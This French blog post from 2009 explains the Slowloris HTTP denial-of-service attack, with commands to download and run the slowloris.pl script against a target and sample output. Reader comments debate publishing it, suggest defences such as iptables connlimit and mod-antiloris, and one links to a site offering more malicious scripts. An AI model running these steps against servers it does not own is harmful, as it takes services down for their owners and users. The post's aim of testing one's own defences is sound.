System-Linux

Aller au contenu | Aller au menu | Aller à la recherche

Attaque Slowloris (DoS) l'essayer et l'empécher

slowloris png

J'arrive un peu après la guerre mais bon...

Slowloris est une attaque à la mode elle consiste à ouvrir plusieurs connexions en envoyant des requetes http partielles et au compte-goutte pour conserver les connexions ouvertes le plus longtemps possible ainsi le serveur cible est rapidement saturé, c'est une attaque DoS (deny of service).

A en croire le site http://ha.ckers.org/slowloris/ une grande majorité des serveurs web sont touchés.

Tester la chose :

Avec un script perl

wget http://ha.ckers.org/slowloris/slowloris.pl
chmod +x slowloris.pl
./slowloris.pl -dns ip-cible ou url

Vous aurez peut être comme moi à installer quelques modules perl pour que le script fonctionne.

  • strict
  • IO::Socket::INET
  • IO::Socket::SSL
  • Getopt::Long
  • Config

Une fois lancé vous devriez avoir quelques chose comme ceci :

[...]
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client

Defaulting to port 80.
Defaulting to a 5 second tcp connection timeout.
Defaulting to a 100 second re-try timeout.
Defaulting to 1000 connections.
Multithreading enabled.
Connecting to ouitech.net:80 every 100 seconds with 1000 sockets:
		Building sockets.
		Building sockets.
		Building sockets.
[...]

Testez le sur un de VOS serveurs... :p

Vous devriez voir sur la cible avec la commande netstat qui va bien le nombre de connexions simultanées utilisant petit à petit toutes les ressources du serveur qui à la longue ne répondra plus au requête légitime et n'acceptera plus de nouvelles connexions.

netstat -tan | grep ip:80 | wc -l
289

Parer Slowloris :

Il existe plusieurs solutions :

Et sûrement d'autres.

Bon courage à tous :)

Par GanGan | le lundi, novembre 30 2009 12:00

Commentaires

1. vermine

lundi, novembre 30 2009 | 13:30

c'est tres malin comme post . Montrer comment utiliser des scripts pour faire des attaques.
Nul !

2. GanGan

lundi, novembre 30 2009 | 13:58

Il faut savoir un minimum attaquer pour pouvoir défendre :) c'est la sécurité on appel ça :)

3. macsim

lundi, novembre 30 2009 | 14:08

vermine,

Plutot que montrer ton ignorance dans le domaine tu aurais pu juste demander comment s'en protéger, allez je suis sympa :

iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 10 --connlimit-mask 40 -j DROP

Je suis sur que t'es assez smart pour comprendre la commande.

4. freak0

lundi, novembre 30 2009 | 14:14

@ vermine, tu préfère surement la méthode de l'autruche, que personne n'en parle, comme ça on se protège des scripts kiddies...

5. zobi

lundi, novembre 30 2009 | 14:39

Existe t il un moyen simple et efficace pour parer a cette attaque ?
J'ai tenté de sécurisé le http.conf sans succès ...
Merci d'avance

6. zobi

lundi, novembre 30 2009 | 14:42

Merci macsim pour ta commande iptables mais quand on a pas d'iptables y a une solution simple et efficace ?
Merci d'avance

7. Keul

lundi, novembre 30 2009 | 16:17

Dans un .htaccess ou dans le httpd.conf d'apache :

MaxConnPerIP 20

8. StalkR

lundi, novembre 30 2009 | 18:45

Solution simple et efficace pour debian : aptitude install libapache2-mod-antiloris :)

9. Lenezir

lundi, novembre 30 2009 | 22:12

Merci StalkR. :)
Ce paquet fonctionne aussi sur Ubuntu (Serveur) et est dispo ici : http://packages.debian.org/squeeze/...

10. Lapinkiller

vendredi, décembre 25 2009 | 23:54

Sinon il y'a fail2ban qui une fois configuré est très efficace contre les attaque DDos

11. Kévin Hinault

mardi, janvier 5 2010 | 19:38

@Keul
Oui ça fonctionne sauf si l'attaquant génère des adresses IP aléatoires à chaque requête. A ma connaissance, il n'y a pas de solution parfaite pour contrer cette attaque et en tout cas pas en une seule ligne ;)

12. Fugitif

mardi, mars 23 2010 | 13:41

{{iptables -m connlimit -h
iptables v1.3.8: Couldn't load match `connlimit':/lib/iptables/libipt_connlimit.so: cannot open shared object file: No such file or directory

Try `iptables -h' or 'iptables --help' for more information.}}
Par défaut se module n'est pas dans iptables, il faut le compiler.

13. Fuck you

dimanche, juin 13 2010 | 01:35

Pourquoi les français sont-ils autant partisan de la censure? Je suis d'avis que ce genre de postes sont très intéressant du fait que je trouve bon de pouvoir tester sois-même ses contremesures.

Allez voir ce site pour encore plus de script malveillants:
http://sgpup.com